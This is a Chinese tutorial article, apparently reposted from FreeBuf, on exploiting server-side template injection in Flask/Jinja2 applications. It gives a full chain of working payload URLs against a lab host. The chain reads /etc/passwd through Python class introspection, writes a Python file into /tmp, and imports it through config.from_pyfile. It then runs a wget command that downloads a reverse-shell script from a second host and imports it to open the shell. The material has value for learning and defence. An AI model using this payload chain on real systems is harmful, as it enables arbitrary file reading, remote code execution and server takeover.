FlaskJinja2 开发中遇到的的服务端注入问题研究 II

0x00. 前言

本篇文章是 《Flask Jinja2 开发中遇到的的服务端注入问题研究》<点击阅读原文查看链接>续篇,我们继续研究 Flask Jinja2开发中遇到的SSTI问题,本篇文章会介绍新的利用方式。

0×01. 测试代码

为了更好地演示Flask/Jinja2 开发中的SSTI问题,我们搭建一个小的POC程序,主要由两个python脚本组成, 其中page_not_found 存在SSTI漏洞:

Flask-test.py

Config.py

执行 python Flask-test.py

0×02. Flask/Jinja2 开发中的SSTI 利用之任意文件读取

先介绍一些概念

关于类对象

instance.__class__ 可以获取当前实例的类对象

我们知道python中新式类(也就是显示继承object对象的类)都有一个属性__class__可以获取到当前实例对应的类,随便选择一个简单的新

式类实例,比如”,一个空字符串,就是一个新式类实例,所以”.__class__ 就可以获取到实例对应的类(也就是<type ‘str’>)

类对象中的属性__mro__

class.__mro__ 获取当前类对象的所有继承类

python中类对象有一个属性__mro__, 这个属性返回一个tuple对象,这个对象包含了当前类对象所有继承的基类,tuple中元素的顺序就是MRO(Method Resolution Order) 寻找的顺序

http://10.1.100.3:5000/{{”.__class__.__mro__}}

从结果中可以发现”对应的类对象str继承的顺序是basestring->object

类对象中的方法__subclasses__()

每一个新式类都保留了它所有的子类的引用,__subclasses__()这个方法返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)

我们知道python中的类都是继承object的,所以只要调用object类对象的__subclasses__()方法就可以获取我们想要的类的对象,比如用于读取文件的file对象

开始漏洞利用

首先获取object对象的所有子类引用列表

http://10.1.100.3:5000/{{”.__class__.__mro__[2].__subclasses__()}}

”.__class__.__mro__[2] 获取的就是object 类对象(<type ‘object’>)

从执行结果中可以看到,获取到非常多的子类类对象引用,这里我们比较关注的是file类对象(<type ‘file’>), 可以用来进行文件读取

我们选取file 类对象,并实例化一个匿名实例,给其传入参数 ‘/etc/passwd’

http://10.1.100.3:5000/{{”.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd’).read()}}

可以看到成功实现了任意文件读取

0×03. Flask/Jinja2 开发中的SSTI 利用之远程代码执行

1 首先向服务器写入一个py代码的文件/tmp/tmp.cfg

访问如下URL

http://10.1.100.3:5000/{{”.__class__.__mro__[2].__subclasses__()[40](‘/tmp/tmp.cfg’, ‘w’).write(‘from subprocess import check_output\n\n RUNCMD = check_output\n ‘)}}

注: 这里需要注意直接在浏览器中访问这个URL,浏览器自动将\n 变成/n, 所以要用burpsuite 的repeater 功能辅助一下

至此写入文件成功

2 利用Flask Template Globals 中的config上下文对象导入py代码

上一篇《Flask Jinja2开发中遇到的的服务端注入问题研究》中我们提到了render_template_string 函数中第二个参数context 这个上下文对象参数 默认值中就包含了Flask Template Globals 所有的全局变量,其中就包括config这个上下文对象(源代码Flask/config.py), from_pyfile 用于导入指定的py文件,源代码如下:

这段代码的意思就是将指定的py文件导入,然后将导入的py文件中的大写成员属性加入到config这个上下文对象中(这就是为什么我用RUNCMD了,大写)

先访问:

http://10.1.100.3:5000/{{config.from_pyfile(‘/tmp/tmp.cfg’)}}

再访问:

http://10.1.100.3:5000/{{config.items()}}

至此,我们已经将RUNCMD导入到config这个模板上下文对象中了,而RUNCMD指向subprocess.check_output

3 利用注入的RUNCMD 执行系统命令下载反弹shell

访问:

http://10.1.100.3:5000/{{config['RUNCMD'](‘/usr/bin/wget http://10.1.100.2/backShell.py -O /tmp/x’, shell=True)}}

从执行结果来看,反弹shell下载成功

4 利用config 上下文对象的from_pyfile方法导入反弹shell

我们知道python在导入模块的同时也会执行脚本中部分代码(class 和方法的定义不会执行),利用这一点,就可以执行反弹shell 了

访问:

http://10.1.100.3:5000/{{config.from_pyfile(‘/tmp/x’)}}

成功反弹shell

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-06-13

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏noteless

-1-5 java 多线程 概念 进程 线程区别联系 java创建线程方式 线程组 线程池概念 线程安全 同步 同步代码块 Lock锁 sleep()和wait()方法的区别 为什么wait(),

java 多线程 概念 进程 线程区别联系 java创建线程方式 线程组 线程池概念 线程安全 同步 同步代码块 Lock锁  sleep()和wait()方法...

1144
来自专栏java 成神之路

JVM 类加载机制深入浅出

27211
来自专栏IT笔记

Linux下安装Redis3

下载 下载地址 http://redis.io/download Linux 下执行 wget http://download.redis.io/relea...

3745
来自专栏人工智能LeadAI

ClassLoader和类加载机制

01 背景 最近在做项目的过程中,由于系统需要提供一个对外接口,使系统使用者可以以脚本的形式提交自己的代码,每个用户可以在系统规范的约束下编写脚本,由系统去执...

6146
来自专栏开源优测

JMeter断言07

前言 在jmeter中断言用于验证服务器返回的数据是否满足我们的要求。 jmeter提供了以下断言类型: ? 下面我们主要对响应断言、XPath Asserti...

4547
来自专栏JavaQ

高并发编程-Condition深入解析

Condition接口位于java.util.concurrent.locks包下,实现类有 AbstractQueuedLongSynchronizer.Co...

984
来自专栏开源优测

BeautifulSoup的使用

参考资料地址:https://www.crummy.com/software/BeautifulSoup/bs4/doc.zh/#id28

1241
来自专栏海天一树

小朋友学Java(12):包

包(package)是Java语言提供的一种区别类名字命名空间的机制,它是类的一种文件组织和管理方式、是一组功能相似或相关的类或接口的集合。Java packa...

2976
来自专栏kevindroid

java多线程——线程的状态

1793
来自专栏于晓飞的专栏

Android Proguard(混淆)

最近项目中遇到一些混淆相关的问题,由于之前对proguard了解不多,所以每次都是面向Stackoverflow的编程。copy别人的答案内心还可以接受,但是c...

6153

扫码关注云+社区

领取腾讯云代金券